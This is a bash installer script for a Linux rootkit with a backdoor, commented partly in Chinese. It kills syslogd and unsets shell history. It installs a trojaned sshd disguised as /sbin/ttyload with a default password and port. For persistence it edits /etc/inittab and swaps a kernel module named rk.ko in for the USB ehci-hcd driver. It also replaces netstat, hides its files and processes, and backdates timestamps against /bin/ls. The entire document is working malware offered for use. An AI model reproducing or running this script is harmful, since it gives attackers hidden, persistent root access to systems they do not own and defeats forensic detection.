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#!/bin/bash
##########define variables##########
DEFPASS=123456 //默认密码
DEFPORT=43958 //默认端口
BASEDIR=`pwd`
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
##########check is root##########
if [ "$(whoami)" != "root" ]; then
echo "BECOME ROOT AND TRY AGAIN"
echo ""
exit
fi
##########extract all tar##########
tar zxf bin.tgz
cd bin
tar zxf sshd.tgz
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz
cd $BASEDIR
##########kill syslogd##########
killall -9 syslogd >/dev/null 2>&1
sleep 2
##########remove sh.conf##########
if [ -f /etc/sh.conf ]; then
rm -rf /etc/sh.conf //经过md5sum加密过的密码文件
fi
##########initialize sshd configuration##########
if test -n "$1" ; then
echo "Using Password : $1"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "No Password Specified, using default - $DEFPASS"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi
touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
if test -n "$2" ; then
echo "Using ssh-port : $2"
echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
echo "No ssh-port Specified, using default - $DEFPORT"
echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi
###########creating dirs##########
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
if [ -d /lib/libsh.so ]; then
rm -rf /lib/libsh.so
fi
if [ -d /usr/lib/libsh ]; then
rm -rf /usr/lib/libsh/*
fi
mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR
cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR
if [ -f /sbin/ttyload ]; then
chattr -AacdisSu /sbin/ttyload
rm -rf /sbin/ttyload
fi
if [ -f /usr/sbin/ttyload ]; then
rm -rf /usr/sbin/ttyload
fi
if [ -f /sbin/ttymon ]; then
rm -rf /sbin/ttymon
fi
mv $SSHDIR/sshd /sbin/ttyload
chmod a xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
mv $BASEDIR/bin/ttymon /sbin/ttymon
chmod a xr /sbin/ttymon
touch -acmr /bin/ls /sbin/ttymon
kill -9 `pidof ttymon` >/dev/null 2>&1
cp /bin/bash $SSHDIR
##########modify inittab##########
cp /etc/inittab /etc/.inittab
sed -e ''s@^1:2345@0:2345:once:/usr/sbin/ttyloadn&@'' /etc/inittab > /etc/.inittab
touch -acmr /etc/inittab /etc/.inittab
mv -f /etc/.inittab /etc/inittab
echo "/sbin/ttyload -q > /dev/null 2>&1" > /usr/sbin/ttyload
echo "/sbin/ttymon > /dev/null 2>&1" >> /usr/sbin/ttyload
echo "${HOMEDIR}/tty i `pidof ttyload` > /dev/null 2>&1" >> /usr/sbin/ttyload
echo "${HOMEDIR}/tty i `pidof ttymon` > /dev/null 2>&1" >> /usr/sbin/ttyload
touch -acmr /bin/ls /usr/sbin/ttyload
chmod 755 /usr/sbin/ttyload
/usr/sbin/ttyload > /dev/null 2>&1
touch -amcr /bin/ls /etc/inittab
###########make sure inittab has modified##########
if [ ! "`grep ttyload /etc/inittab`" ]; then
echo "# WARNING - SSHD WONT BE RELOADED UPON RESTART "
echo "# inittab shuffling probly fucked-up ! "
fi
##########load rk.ko##########
cd $BASEDIR
modprobe -r ehci-hcd
mv -f rk.ko /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko
modprobe ehci-hcd
mv tty $HOMEDIR
##########replace netstat##########
touch -acmr /bin/netstat netstat
mv -f netstat /bin/netstat
##########hide all files and process##########
$HOMEDIR/tty h /etc/sh.conf > /dev/null 2>&1
$HOMEDIR/tty h /lib/libsh.so > /dev/null 2>&1
$HOMEDIR/tty h /usr/lib/libsh > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /usr/sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttymon > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttyload` > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttymon` > /dev/null 2>&1
##########load rk.ko on boot##########
cat > /etc/sysconfig/modules/ehci.modules << EOF
#!/bin/sh
#install usb modules support
modprobe -r ehci-hcd
modprobe ehci-hcd
EOF
touch -amcr /bin/ls /etc/sysconfig/modules/ehci.modules
chmod 755 /etc/sysconfig/modules/ehci.modules
$HOMEDIR/tty h /etc/sysconfig/modules/ehci.modules > /dev/null 2>&1
##########check iptables setting##########
if [ -f /sbin/iptables ]; then
echo "`/sbin/iptables -L INPUT | head -5`"
else
echo ""
echo "# lucky for u no iptables found"
fi
##########start syslogd##########
/sbin/syslogd -m 0
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